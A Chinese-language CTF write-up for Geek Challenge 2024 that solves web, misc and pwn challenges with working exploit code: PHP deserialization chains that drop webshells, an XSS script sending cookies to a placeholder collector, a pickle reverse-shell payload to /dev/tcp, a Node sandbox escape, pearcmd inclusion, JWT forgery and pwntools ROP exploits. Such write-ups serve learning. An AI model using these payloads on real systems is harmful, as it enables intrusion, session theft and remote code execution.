极客大挑战2024wp

极客大挑战2024wp

web 和misc 都没咋做出来,全靠pwn✌带飞

排名

密码学和re没做出几个,就不发了

web

ez_pop

源代码

php 复制代码
<?php
Class SYC{
    public $starven;
    public function __call($name, $arguments){
        if(preg_match('/%|iconv|UCS|UTF|rot|quoted|base|zlib|zip|read/i',$this->starven)){
            die('no hack');
        }
        file_put_contents($this->starven,"<?php exit();".$this->starven);
    }
}

Class lover{
    public $J1rry;
    public $meimeng;
    public function __destruct(){
        if(isset($this->J1rry)&&file_get_contents($this->J1rry)=='Welcome GeekChallenge 2024'){
            echo "success";
            $this->meimeng->source;
        }
    }

    public function __invoke()
    {
        echo $this->meimeng;
    }

}

Class Geek{
    public $GSBP;
    public function __get($name){
        $Challenge = $this->GSBP;
        return $Challenge();
    }

    public function __toString(){
        $this->GSBP->Getflag();
        return "Just do it";
    }

}

if($_GET['data']){
    if(preg_match("/meimeng/i",$_GET['data'])){
        die("no hack");
    }
   unserialize($_GET['data']);
}else{
   highlight_file(__FILE__);
}

pop 链子

复制代码
lover::__destruct ->Geek::__get ->lover::__invoke ->Geek::toString ->SYC::__call

为了使链子正常运行,需要 把$lover->J1rry="data://text/plain,Welcome GeekChallenge 2024";

用伪协议控制file_get_contents的内容,对于meimong的初步过滤,用16进制绕过即可

然后是死亡exit的绕过,由于黑名单过滤的很全,这里就尝试strip_tags写入htaccess,预包含,flag文件名也给了 就是flag相关文章:https://xz.aliyun.com/t/8163

exp

php 复制代码
<?php
Class SYC{
    public $starven;
    
}

Class lover{
    public $J1rry;
    public $meimeng;
    public function __construct()
    {
        $this->J1rry="data://text/plain,Welcome GeekChallenge 2024";
        
    }
}

Class Geek{
    public $GSBP;
}

$a=new lover();
$a->meimeng=new Geek();
$a->meimeng->GSBP=new lover();
$a->meimeng->GSBP->meimeng=new Geek();
$a->meimeng->GSBP->meimeng->GSBP=new SYC();
$a->meimeng->GSBP->meimeng->GSBP->starven="php://filter/write=string.strip_tags/?>php_value auto_prepend_file /flag\n#/resource=.htaccess";
$exp=str_replace('s:7:"meimeng"','S:7:"\6d\65\69\6d\65\6e\67"',serialize($a));
echo urlencode($exp);
echo "\n";

发送一次写入,再刷新一次包含就可以看见flag

problem_on_my_web

访问/manager,提示要我传一个post参数url,然后give gift on cookie,感觉就是要打xss偷cookie

发送消息的地方填

javascript 复制代码
<script>
img = new Image();
img.src='http:/ip/cookie.php?cookie='+document.cookie;
img.width = 0;
img.height = 0;
</script>

vps上放一个cookie.php

php 复制代码
<?php
$cookie = $_GET['cookie'];
$ip = getenv('REMOTE_ADDR');
$time = date('Y-m-d g:i:s');
$referer = getenv('HTTP_REFERER');
$fp = fopen( 'cookie.txt', 'a');
fwrite($fp,"IP: ".$ip." │ Date And Time: ".$time." | Referer: ".$referer." | Cookie: ".$cookie.'|||');
fclose($fp);
?>

发送了上面的xss信息后,在manager路由传http://127.0.0.1即可,过一会即可在cookie.txt里看到flag

ez_http

根据要求一个个添加参数和http头即可

python 复制代码
import requests

url="http://80-ede138cf-40a4-4102-a7eb-cc54a3144be8.challenge.ctfplus.cn/?welcome=geekchallenge2024"
cookies={ 'token':'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJTdGFydmVuIiwiYXVkIjoiQ3RmZXIiLCJpYXQiOjE3MzAwMTI2MzEsIm5iZiI6MTczMDAxMjYzMSwiZXhwIjoxNzMwMDE5ODMxLCJ1c2VybmFtZSI6IlN0YXJ2ZW4iLCJwYXNzd29yZCI6InF3ZXJ0MTIzNDU2IiwiaGFzRmxhZyI6dHJ1ZX0.rndv-ew4zbtQJZXgR_Quqa-xR-E6p1WXindKnLKbO4k'}
header={
    'X-Real-IP':'127.0.0.1',
    'Referer':'https://www.sycsec.com',
    'STARVEN':'I_Want_Flag',
   
}
data={'username':'Starven','password':'qwert123456'}

res=requests.post(url=url,data=data,headers=header,cookies=cookies)
print(res.text)

Can you pass me

ssti 绕过,{%%}绕{{, attr绕[],关键词的过滤全用八进制编码,然后发现不能直接查看flag,用base64 /flag带出来

python 复制代码
{%print(lipsum|attr('\137\137\147\154\157\142\141\154\163\137\137')|attr('\137\137\147\145\164\151\164\145\155\137\137')('\157\163')|attr('\160\157\160\145\156')('\142\141\163\145\066\064\040\057\146\154\141\147')|attr('\162\145\141\144')())%}

ez_ssrf

www.zip泄露源码

h4d33333.php

php 复制代码
<?php
error_reporting(0);
if(!isset($_POST['user'])){
    $user="stranger";
}else{
    $user=$_POST['user'];
}

if (isset($_GET['location'])) {
    $location=$_GET['location'];
    $client=new SoapClient(null,array(
        "location"=>$location,
        "uri"=>"hahaha",
        "login"=>"guest",
        "password"=>"gueeeeest!!!!",
        "user_agent"=>$user."'s Chrome"));

    $client->calculator();

    echo file_get_contents("result");
}else{
    echo "Please give me a location";
}

calculator.php

php 复制代码
<?php
$admin="aaaaaaaaaaaadmin";
$adminpass="i_want_to_getI00_inMyT3st";

function check($auth) {
    global $admin,$adminpass;
    $auth = str_replace('Basic ', '', $auth);
    $auth = base64_decode($auth);
    list($username, $password) = explode(':', $auth);
    echo $username."<br>".$password;
    if($username===$admin && $password===$adminpass) {
        return 1;
    }else{
        return 2;
    }
}
if($_SERVER['REMOTE_ADDR']!=="127.0.0.1"){
    exit("Hacker");
}
$expression = $_POST['expression'];
$auth=$_SERVER['HTTP_AUTHORIZATION'];
if(isset($auth)){
    if (check($auth)===2) {
        if(!preg_match('/^[0-9+\-*\/]+$/', $expression)) {
            die("Invalid expression");
        }else{
            $result=eval("return $expression;");
            file_put_contents("result",$result);
        }
    }else{
        $result=eval("return $expression;");
        file_put_contents("result",$result);
    }
}else{
    exit("Hacker");
}

calculator.php 需要本地访问,h4d33333.php的SOAPcilient 对象可以触发__call 去访问,文件头信息可控造成CRLF注入,http头部的信息和请求参数都可以控制,控制一下认证信息满足要求,即可绕过白名单执行eval

crlf exp

python 复制代码
from urllib.parse import quote
payload="expression=system('cat /flag');&a="
print(quote(f"""test\r\nAUTHORIZATION:Basic YWFhYWFhYWFhYWFhZG1pbjppX3dhbnRfdG9fZ2V0STAwX2luTXlUM3N01\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: {len(payload)}\r\n\r\n{payload}"""))

然后发送了但是返回的东西看不了,还是直接访问/result得到的flag

not_just_pop

源码

php 复制代码
<?php
highlight_file(__FILE__);
ini_get('open_basedir');

class lhRaMK7{
    public $Do;
    public $You;
    public $love;
    public $web;
    public function __invoke()
    {
        echo "我勒个豆,看来你有点实力,那接下来该怎么拿到flag呢?"."<br>";
        eval($this->web);
    }
    public function __wakeup()
    {
        $this->web=$this->love;
    }
    public function __destruct()
    {
        die($this->You->execurise=$this->Do);
    }

}

class Parar{
    private $execurise;
    public $lead;
    public $hansome;
    public function __set($name,$value)
    {
        echo $this->lead;
    }
    public function __get($args)
    {
        if(is_readable("/flag")){
            echo file_get_contents("/flag");
        }
        else{
            echo "还想直接读flag,洗洗睡吧,rce去"."<br>";
            if ($this->execurise=="man!") {
                echo "居然没坠机"."<br>";
                if(isset($this->hansome->lover)){
                    phpinfo();
                }
            }
            else{
                echo($this->execurise);
                echo "你也想被肘吗"."<br>";
            }
        }
    }
}

class Starven{
    public $girl;
    public $friend;
    public function __toString()
    {
        return "试试所想的呗,说不定成功了"."<br>".$this->girl->abc;
    }
    public function __call($args1,$args2)
    {
        $func=$this->friend;
        $func();
    }

}
class SYC{
    private $lover;
    public  $forever;
    public function __isset($args){
        return $this->forever->nononon();
    }

}


$Syclover=$_GET['Syclover'];
if (isset($Syclover)) {
    unserialize(base64_decode($Syclover));
    throw new Exception("None");
}else{
    echo("怎么不给我呢,是不喜欢吗?");
}

稍微复杂了一点的pop

复制代码
lhRaMK7::__destruct -> Parar::__set -> Starven::__toString -> Parar::__get ->SYC::__isset ->Starven::__call ->lhRaMK7::__invoke

从代码中就可以看出来,flag无法直接读取,感觉要提权,为了顺利反序列化,还要删掉最后的}触发fast-desruct绕过异常,题目php版本还是7.2,直接全部属性改为public

到eval的时候,发现system用不了,phpinfo发现有disable_function,写个马,然后蚁剑插件绕过,exp

php 复制代码
<?php
// highlight_file(__FILE__);
// ini_get('open_basedir');

class lhRaMK7{
    public $Do;
    public $You;
    public $love;
    public $web;
    public function __construct()
    {
        $this->You=new Parar();

    }

}

class Parar{
    public $execurise;
    public $lead;
    public $hansome;
    public function __construct()
    {
        $this->lead=new Starven();
        
    }
}

class Starven{
    public $girl;
    public $friend;
}
class SYC{
    public $lover;
    public  $forever;
   

}


$a=new lhRaMK7();
$a->You=new Parar();
$a->You->lead=new Starven();
$a->You->lead->girl= new Parar();
$a->You->lead->girl->execurise='man!';
$a->You->lead->girl->hansome=new SYC();
$a->You->lead->girl->hansome->forever=new Starven();
$a->You->lead->girl->hansome->forever->friend=new lhRaMK7();
// $a->You->lead->girl->hansome->forever->friend->love='phpinfo();';
$a->You->lead->girl->hansome->forever->friend->love='$a="PD9waHAgZXZhbCgkX1BPU1RbY21kXSk7Pz4=";file_put_contents("shell.php",base64_decode($a));';
$exp=substr(serialize($a),0,-1);
echo base64_encode($exp);

提权,用sudo -l 有env,直接env提权即可

nosanbox

一开始要登陆,提示manggodb,上网就找到了一个nosql注入的payload ,类似mysql的万能密码

json 复制代码
{"username":{"$ne":1},"password": {"$ne":1}}

nodejs vm沙箱逃逸,比较简单,网上就有很多文章,不能用引号,于是全用模板字符串,还能绕黑名单

本来的payload是利用报错带出命令结果,这里不回显报错信息,于是 写个 sh,然后反弹shell,exp

一次编码会有+,所以这里编码两次

javascript 复制代码
throw new Proxy({}, {
     get: function(){
         const c = arguments.callee.caller;
         const p = (c.constructor.constructor(`${`return pro${`cess`}`}`))();
        const obj = p.mainModule.require(`${`child_p${`ro`}cess`}`);
        const ex = Object.getOwnPropertyDescriptor(obj,`${`${`exe`}cSync`}` );
        return ex.value(`${`echo WW1GemFDQXRZeUFuWW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4NExqRXpOQzR5TVRVdU1qVXdMekV5TXpRZ01ENG1NU2M9 |base64 -d |base64 -d > 1.sh`}`).toString();
    }
})

然后sh 1.sh即可

baby_upload

发现上传的文件名可控,一开始尝试s.php/啥的,会报错,后面尝试双写就绕过了 s.php.php

源代码用strstr函数获取后缀,难怪可以

ez_include

require_once绕过 文章:https://www.anquanke.com/post/id/213235

payload

复制代码
?file=php://filter/read=convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/starven_secret.php

然后来到levelllll2.php

php 复制代码
<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_GET ["syc"])){
    $file = $_GET ["syc"];
    $hint = "register_argc_argv = On";
    if (preg_match("/config|create|filter|download|phar|log|sess|-c|-d|%|data/i", $file)) {
        die("hint都给的这么明显了还不会做?");
    }
    if(substr($_SERVER['REQUEST_URI'], -4) === '.php'){
        include $file;
    }
}

提示很明显了,打pearcmd包含,file变量不会用黑名单里的东西,无伤大雅,payload

复制代码
?+config-create+/&syc=/usr/local/lib/php/pearcmd.php&/<?=eval($_GET[1]);?>+/var/www/html/shell.php

然后查看flag即可,根目录没有,在/proc/self/environ

php不比java差

源码

php 复制代码
<?php
highlight_file(__FILE__);
error_reporting(0);
include "secret.php";

class Challenge{
    public $file;
    public function Sink()
    {
        echo "<br>!!!A GREAT STEP!!!<br>";
        echo "Is there any file?<br>";
        if(file_exists($this->file)){
            global $FLAG;
            echo $FLAG;
        }
    }
}

class Geek{
    public $a;
    public $b;
    public function __unserialize(array $data): void
    {
        $change=$_GET["change"];
        $FUNC=$change($data);
        $FUNC();
    }
}

class Syclover{
    public $Where;
    public $IS;
    public $Starven;
    public $Girlfriend;
    public function __toString()
    {
        echo "__toString is called<br>";
        $eee=new $this->Where($this->IS);
        $fff=$this->Starven;
        $eee->$fff($this->Girlfriend);
       
    }
}

unserialize($_POST['data']);

考了好多pop链,这么喜欢pop吗

起点是__unserialize$data里的键值对用来还原对象的属性,$change可控,使用implode,一个值设为

Syclover即可触发toString,然后就卡了一会,再回去看题目发现提到了java,java反序列化常用反射,经过搜索发现这里可以反射调用system,直接看flag看不了,那就写马,发现要用file,suid提权,exp

php 复制代码
<?php

error_reporting(0);


class Challenge{
    public $file;
}

class Geek{
    public $a;
    public $b;
    
}

class Syclover{
    public $Where;
    public $IS;
    public $Starven;
    public $Girlfriend;
    
}
$a=new Geek();
$a->a=new Syclover();
$a->a->Where='ReflectionFunction';
$a->a->IS='system';
$a->a->Starven="invokeArgs";
$a->a->Girlfriend=array("echo '<?=@eval(\$_POST[cmd]);' > /var/www/html/shell.php");
echo urlencode(serialize($a));

ez_python

注册登录后,随便输入了点评论,就提示访问/starven_s3cret,访问获得源码分析

python 复制代码
import os
import secrets
from flask import Flask, request, render_template_string, make_response, render_template, send_file
import pickle
import base64
import black

app = Flask(__name__)

#To Ctfer:给你源码只是给你漏洞点的hint,怎么绕?black.py黑盒,唉无意义
@app.route('/')
def index():
    return render_template_string(open('templates/index.html').read())

@app.route('/register', methods=['GET', 'POST'])
def register():
    if request.method == 'POST':
        usname = request.form['username']
        passwd = request.form['password']

        if usname and passwd:
            heart_cookie = secrets.token_hex(32)
            response = make_response(f"Registered successfully with username: {usname} <br> Now you can go to /login to heal starven's heart")
            response.set_cookie('heart', heart_cookie)
            return response

    return  render_template('register.html')

@app.route('/login', methods=['GET', 'POST'])
def login():
    heart_cookie = request.cookies.get('heart')
    if not heart_cookie:
        return render_template('warning.html')

    if request.method == 'POST' and request.cookies.get('heart') == heart_cookie:
        statement = request.form['statement']

        try:
            heal_state = base64.b64decode(statement)
            print(heal_state)
            for i in black.blacklist:
                if i in heal_state:
                    return render_template('waf.html')
            pickle.loads(heal_state)
            res = make_response(f"Congratulations! You accomplished the first step of healing Starven's broken heart!")
            flag = os.getenv("GEEK_FLAG") or os.system("cat /flag")
            os.system("echo " + flag + " > /flag")
            return res
        except Exception as e:
            print( e)
            pass
            return "Error!!!! give you hint: maybe you can view /starven_s3cret"

    return render_template('login.html')

@app.route('/monologue',methods=['GET','POST'])
def joker():
    return render_template('joker.html')

@app.route('/starven_s3cret', methods=['GET', 'POST'])
def secret():
    return send_file(__file__,as_attachment=True)


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000, debug=False)

可以看到在login路由有个反序列化,有个waf不知道,尝试反弹shell 就触发了waf,说要换个思路,那就内存马,用最常用的还不行,笔记里往下翻了几个才找到能用的

payload:

python 复制代码
import pickle
import base64
opcode=b'''cbuiltins
exec
(S"app.backup_func=app.view_functions['index'];app.view_functions['index']=lambda : __import__('os').popen(request.args.get('cmd')).read() if 'cmd' in request.args.keys() is not None else app.backup_func()"
tR.'''

print(base64.b64encode(opcode).decode())

然后就在根路由传cmd参数命令即可,看了看waf

python 复制代码
blacklist = [b'netcat', b'bash', b'var', b'etc', b'socat', b'telnet', b'python', b'perl', b'nc',b'before_request',b'after_request',b'teardown_request',b'teardown',b'context_processor',b'template_filter',b'socket',b'sh',b'mkfifo',b'ncat'b'curl',b'wget',b'php',b'ruby',b'lua',b'java',b'cpp',b'gcc',b'g++',b'connect']

rce_me

考察php的一些性质,按要求传参即可

  1. 直接post start=start now

  2. md5("Geekchallenge2024_bmKtL")就是经典0e,找一个数字sha1后0e的

  3. 有个

    php 复制代码
    foreach ($_GET as $key => $value) {
            $$key = $value;
        }

    明显的变量覆盖,后面的在get传对应参数名

    intval漏洞:php<7.2.25时,intval函数不能正常解析字符串形式的科学表达式 ,会返回底数,传year=1e4,intval($year)解析字符串'1e4'返回1,过第一个条件,后面的是$num+1,数字和字符串相加,php会把字符串转为数字再相加,所以这是就会被解析为10000,从而过第二个条件

  4. purpose传数组就行,preg_match无法处理数组。最后就可以rce了

payload

复制代码
?year=1e4&purpose[]=rce&code=system('cat /flag');

post: start=start now&_[2024.geekchallenge.ctf=10932435112

jwt_pickle

感觉考点都在web,并没涉及啥密码学知识

漏洞点在jwt的签名和检验的算法不一致,encode是RS256,decode确是RS256和HS256都可以

RS256是非对称加密,HS256是对称加密,我们可以通过工具rsa2sign.py,得到公钥,再写脚本把payload用HS256加密一次,密钥就用得到的公钥(检验时允许HS256)

introduction 有反序列化漏洞,直接反弹shell

脚本

python 复制代码
import jwt
import base64
# 修改了源码方可成功 site-packages/jwt/algorithms.py 
# 注释掉抛出异常的部分
public ="""-----BEGIN RSA PUBLIC KEY-----
MIIBCgKCAQEAs2aM9wXti4Lm3cBNsJ6edBuKsRaXxW+JHIxDcuVRbAFWt7XLqBMg
NIWLeZ5O6rVkqz1SaD2aEHvyaxZMSN7vXHlgn5keVtTJRbDMl+dzP32F461rGa1K
DSvfac512Rl1Dl+quq5RmZotsjDWV4xEGolgBVJoFv+/M8X/WO+zl9MMF7ZV22Fd
PsFjq4bX7koU3yadPDBRVNcAjuYEy4OybCOlhnt4zeg/NdK6Rxs763iBA5/+ZusR
UAL9KmQ1wV7NDPtUjb3yBwv/3bHR+j6drlW5cc/f6vJxv/xsA5WpgkLDhUCkH8A0
x9dvqeAXvlIFaJXp3Bk01jrqwWwe+oJlpQIDAQAB
-----END RSA PUBLIC KEY-----
"""
opcode=b'''cos
system
(S'bash -c "bash -i >& /dev/tcp/ip/port 0>&1"'
tR.'''
opcode=base64.b64encode(opcode).decode()
payload={"username": "hello",'password':'e10adc3949ba59abbe56e057f20f883e',"is_admin": True,'introduction':opcode}
print(jwt.encode(payload, key=public, algorithm='HS256'))

SecretInDrivingSchool

源码发现后台地址,访问后有提示密码是三位字母+@chenxing,写了个字典就开始爆,爆了半天发现就是SYC

进入后台有个编辑广告的地方,里面是php代码,改为rce的就出了,用编码绕过waf

php 复制代码
"\x73\x79\x73\x74\x65\x6d"("\x63\x61\x74\x20\x2f\x66\x6c\x61\x67");
system('cat /flag');

100%的⚪

看js代码就有了,base64解码

Misc

签到

关注公众号,发送得flag

Truth of Word

附件是一个word文档,

全选 然后字体变红就能看到第一段flag,

复制一份后缀改为zip解压,发现有个bin文件,是宏,返回docx查看宏得到第二段flag

查看解压出来的压缩包中的media文件夹,在一张图片中发现第三段flag

复制代码
SYC{W0rd_H@5@_Ama1n9_StrUCtu3e!}

Welcome_jail

懒得思考了,直接走继承链,用chr绕过引号的过滤

python 复制代码
[i for i in [].__class__.__mro__[-1].__subclasses__() if i.__name__ == (chr(95)+chr(119)+chr(114)+chr(97)+chr(112)+chr(95)+chr(99)+chr(108)+chr(111)+chr(115)+chr(101))][0].__init__.__globals__[chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)](chr(99)+chr(97)+chr(116)+chr(32)+chr(47)+chr(104)+chr(111)+chr(109)+chr(101)+chr(47)+chr(99)+chr(116)+chr(102)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103))

cimbar

上网搜了一下i,cimbar是用摄像头来传文件的一种技术,然后找到了各个字符对应的4位二进制的对应关系图,https://aigcdaily.cn/news/b24u20oz8s9djnd/

一个个对着翻译即可,然后二进制转ascii就行

舔狗的觉醒

附件解压是个txt,里面一串16进制,开头05 b4 30,一看就是两两逆序,写个脚本

python 复制代码
with open('byte-revenge.txt','r') as file:
     f=file.read().replace(' ','').replace("\n","")
     reversed_pairs = ''.join([f[i:i+2][::-1] for i in range(0, len(f), 2)])
     bin_data=bytes.fromhex(reversed_pairs)
     with open('a.zip','wb') as f:
         f.write(bin_data)

解压得到的压缩包,有个flag.pdf,提示

感觉是图片的嵌套,上网找了网站https://pdfcandy.com/来提取pdf所有图片,就有了flag

dosomemath

给了源码,那个算式本地跑一下是9872,但是不能用数字,看那个白名单就知道要用一些魔术方法来表示数字,

打开vscode,输入().__对着自动补全出的魔术方法一个个看,就可以看到__ge__,尝试了一下,就发现

复制代码
().__ge__(())+().__ge__(())=2

就可以通过().__ge__(())来构造任意数字,9872分解为((16)*(((20)*(30))+(17)))=,一个个+肯定会太长的

payload

python 复制代码
payload="().__ge__(())"

def get_payload(num):
    tmp=[payload]*num
    res='+'.join(tmp)
    return res
#(16)*(((20)*(30))+(17))
target=f'({get_payload(16)})*((({get_payload(20)})*({get_payload(30)}))+({get_payload(17)}))'
print(target)
print(eval(target))

ez_jpg

给了个txt,一串很长的16进制,翻到最后是8DFF,明显是jpg的文件头逆序,找ai写个脚本逆序下就行

得到一个有点乱的图片,然后修改宽高就能看到一点flag,用ps修一下更好看,但是发现也可以直接看

ez_pcap_1

直接在smb2流量中,找找就行,在最后的那个读取文件的流量就有,太菜了2做不出来

解压附件得到图片和white.txt,图片名字提到watermarkh,就是盲水印,用工具提取到Th1si4st8eK3y

根据题目名另一个snow隐写,密钥就是Th1si4st8eK3y

复制代码
SYC{Ma1by_y0u_w1ll_l1k3_sn0w}

hard_jail

show看了看源码,这个waf,预期解感觉是要走内置函数的装饰器,但是不咋会,看到是white true 输入的,直接尝试输入black=[]之后,waf就没了,就可以直接命令执行了

乌龟

一听就感觉是无线电,sstv解出来的图片上有密码,deepsound用这个密码就解出了奇怪的东西,问gpt说是logo语言的绘图指令,找个网站把图画出来就有了flag

PWN

买黑吗喽了吗

View里很明显有一个写str1的操作,然后就在思考怎么办让Balance大于0x100,但是实际上并不难,新手随便买买都能触发(看不看得出来另说),触发后就能够泄漏程序基地址,而后就可以正常ROP

python 复制代码
from pwn import *
 
 io = process("./syscall")
 \# io = remote("nc1.ctfplus.cn", 31851)
 
 context.terminal = ['tmux', 'new-window']
 context.log_level = 'debug'
 context.arch = 'amd64'
 
 elf = ELF("./syscall")
 libc = elf.libc
 
 for i in range(8):
   io.recv()
   io.sendline(b'1')
   io.recv()
   io.sendline(b'1')
 
 for i in range(6):
   io.recv()
   io.sendline(b'1')
   io.recv()
   io.sendline(b'2')
 
 \# gdb.attach(io)
 
 io.recv()
 io.sendline(b'2')
 \# io.sendline(b'2')
 io.send(b'%p')
 
 \# io.sendline(b'2')
 
 io.recvuntil(b'There are 8 commodity_1 and 6 commodity_2 in your pocket.\nAnd your Balance : 0x')
 
 elfbase = int(io.recv(14), 16) - 0x4090
 log.info("elfbase: 0x%x" % elfbase)
 pop_rdi = elfbase + 0x00000000000011f1
 log.info("pop_rdi: 0x%x" % pop_rdi)
 ret = elfbase + 0x000000000000101a
 log.info("ret: 0x%x" % ret)
 
 io.sendline(b'3')
 
 io.recvuntil(b'Tell me your feedback:')
 
 payload = b'A'*0x58 + p64(pop_rdi) + p64(elfbase + elf.got['puts']) + p64(elfbase + elf.plt['puts']) + p64(elfbase + elf.sym['main'])
 
 io.sendline(payload)
 
 io.recvuntil(b'Thanks for your feedback!We`ll do it better!\n')
 
 puts_addr = u64(io.recv(6).ljust(8, b'\x00'))
 log.info("puts_addr: 0x%x" % puts_addr)
 libcbase = puts_addr - libc.sym['puts']
 log.info("libcbase: 0x%x" % libcbase)
 system_addr = libcbase + libc.sym['system']
 log.info("system_addr: 0x%x" % system_addr)
 str_bin_sh = libcbase + next(libc.search(b'/bin/sh'))
 log.info("str_bin_sh: 0x%x" % str_bin_sh)
 
 io.sendline(b'3')
 
 io.recvuntil(b'Tell me your feedback:')
 
 payload = b'A'*0x58 + p64(ret) + p64(pop_rdi) + p64(str_bin_sh) + p64(system_addr)
 
 gdb.attach(io)
 
 io.sendline(payload)
 
 io.interactive()

00000

之前打另一个比赛刚遇见过打/dev/urandom里的所谓真随机,确实是不能爆破,Geek没有给爆破机会,算得上对新手友好,直接一直给\x00,就可以有机率过strcmp,然后直接看flag

python 复制代码
from pwn import *
 
 \# io = process("./main")
 \# io = remote("nc1.ctfplus.cn", 27071)
 
 context.terminal = ['tmux', 'new-window']
 context.log_level = 'debug'
 context.arch = 'amd64'
 
 while True:
   \# io = process("./main")
   io = remote("nc1.ctfplus.cn", 41863)
   io.recv()
   io.recv()
   try:
     io.sendline(b'\x00')
     take = io.recv(timeout=1)
     if b'The password is wrong and you cannot access the secret files' not in take:
       io.interactive()
     else:
       io.close()
       continue
   except:
     io.interactive()

over_flow??

蛮有意思,如果对照一下save_to_file和read_from_file再加一点调试就会发现实际上rdi会变成我们给的参数,而read_from_file多溢出的一位会成为rax,而后会调用syscall,所以控参数和系统调用直接写在一个payload就行了(来自一个看到溢出发现就报错的敏感,差点觉得又是啥没学过的新东西要补[大哭])

python 复制代码
from pwn import *
 
 \# io = process(['./ld-2.??.so','./'], env = {'LD_PRELOAD' : './libc-2.??.so'})
 io = process("./over_data")
 \# io = remote('nc1.ctfplus.cn', 33092)
 
 elf = ELF("./over_data")
 \# libc = ELF("./libc-2.??.so")
 libc = elf.libc
 
 context(arch = 'amd64', os='linux', terminal=['tmux', 'new-window'])
 context.log_level = 'debug'
 dbg = lambda: (gdb.attach(io),pause())
 lg = lambda n,s: log.info('\033[1;1;20m%s: 0x%x <--\033[0m\033[1;3;20m %s \033[0m' % (str(n), eval(str(s)), s))
 
 io.recvuntil(b'please input your choice\n')
 io.sendline(b'2')
 
 io.recvuntil(b'please input file name')
 
 gdb.attach(io)
 
 io.send(b'/bin/sh\x00\x3b')
 
 io.interactive()

Black_Myth_Wukong

snprintf把格式化丢脸上了,直接泄漏

然后试过直接正常用system rop,但是很可惜调试会发现偏移不确定,懒得调试,直接让one_gadget填满了

python 复制代码
from pwn import *
 
 \# io = process("./main")
 io = remote("nc1.ctfplus.cn", 29311)
 
 elf = ELF("./main")
 libc = elf.libc
 
 context.terminal = ['tmux','new-window']
 context.log_level = 'debug'
 
 io.recvuntil(b'Please enter any key to enter the game...')
 \# io.send(b'KKKKK')
 io.sendline()
 
 \# gdb.attach(io)
 
 io.recvuntil(b'>>')
 io.sendline(b'31')
 
 io.recvuntil(b'You defeated Guangzhi, and you obtained Guangzhi\'s weapon. Please accept it: ')
 libc_start_main = int(io.recv(12), 16) - 231
 log.info("libc_start_main: " + hex(libc_start_main))
 libcbase = libc_start_main - libc.symbols['__libc_start_main']
 log.info("libcbase: " + hex(libcbase))
 system = libcbase + libc.symbols['system']
 log.info("system: " + hex(system))
 str_bin_sh = libcbase + next(libc.search(b'/bin/sh'))
 log.info("str_bin_sh: " + hex(str_bin_sh))
 pop_rdi = libcbase + 0x000000000002164f
 log.info("pop_rdi: " + hex(pop_rdi))
 ret = libcbase + 0x00000000000008aa
 log.info("ret: " + hex(ret))
 onegadget = libcbase + 0x4f29e
 log.info("onegadget: " + hex(onegadget))
 
 \# gdb.attach(io)
 
 \# payload = b'aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaab'
 
 \# payload = b'A'*0xd8 + p64(ret) + p64(pop_rdi) + p64(str_bin_sh) + p64(system)
 payload = p64(onegadget)*2*16
 print(hex(len(payload)))
 
 io.recvuntil(b'>>')
 io.sendline(str(len(payload)).encode())
 
 \# payload = payload.ljust(256, b'A')
 
 io.sendline(payload)
 
 io.interactive()

我的空调呢?

第一反应还以为这个菜单是个堆题,甚至堆题的模板都写好了。。。

然后才发现连malloc和free都没有,想着这下完了,又要搓好久哪的指针残留,直接用完泄漏就想着肯定得看看程序具体指针了

结果代码太乱了,懒得逆向,直接一顿调试,发现分配的时候没有负数检查,再一看上面的got表,直接心领神会,直接写memset为system,在delete里memset一个/bin/sh的块就行了

python 复制代码
from pwn import *
 
 \# io = process(['./ld-2.??.so','./'], env = {'LD_PRELOAD' : './libc-2.??.so'})
 \# io = process("./pwn")
 io = remote('nc1.ctfplus.cn', 34033)
 
 elf = ELF("./pwn")
 \# libc = ELF("./libc-2.??.so")
 libc = elf.libc
 
 context(arch = 'amd64', os='linux', terminal=['tmux', 'new-window'])
 context.log_level = 'debug'
 dbg = lambda: (gdb.attach(io),pause())
 lg = lambda n,s: log.info('\033[1;1;20m%s: 0x%x <--\033[0m\033[1;3;20m %s \033[0m' % (str(n), eval(str(s)), s))
 
 def choose(choice):
   io.sendlineafter(b'<Your chioce>:', str(choice).encode())
 
 def alloc(beforecontent, aftercontent):
   \# def alloc(content):
   choose(1)
   \#  io.sendlineafter(b'', str(id).encode())
   \# io.sendlineafter(b'', str(size).encode())
   \#  io.sendlineafter(b'', str(len(content)).encode())
   io.sendafter(b'Your name:', beforecontent)
   io.sendafter(b'Introduce:', aftercontent)
 
 def delete(id):
   choose(3)
   io.sendlineafter(b'Index:', str(id).encode())
 
 def edit(id, content):
   choose(4)
   io.sendlineafter(b'Index:', str(id).encode())
   io.sendafter(b'message:', content)
     
 def show(id):
   choose(2)
   io.sendlineafter(b'Index:', str(id).encode())
 
 choose(5)
 io.recvuntil(b'Please input an address.(such as 0xffff)')
 
 \# gdb.attach(io)
 
 io.sendline(b'0x404018')
 io.recvuntil(b'massege:')
 puts_addr = u64(io.recv(6).ljust(8, b'\x00'))
 lg('puts_addr', puts_addr)
 libcbase = puts_addr - libc.symbols['puts']
 lg('libcbase', libcbase)
 system = libcbase + libc.symbols['system']
 lg('system', system)
 str_bin_sh = libcbase + next(libc.search(b'/bin/sh'))
 lg('str_bin_sh', str_bin_sh)
 
 set_buf = libcbase + libc.symbols['setbuf']
 lg('set_buf', set_buf)
 printf = libcbase + libc.symbols['printf']
 lg('printf', printf)
 memset = libcbase + libc.symbols['memset']
 lg('memset', memset)
 read =  libcbase + libc.symbols['read']
 lg('read', read)
 
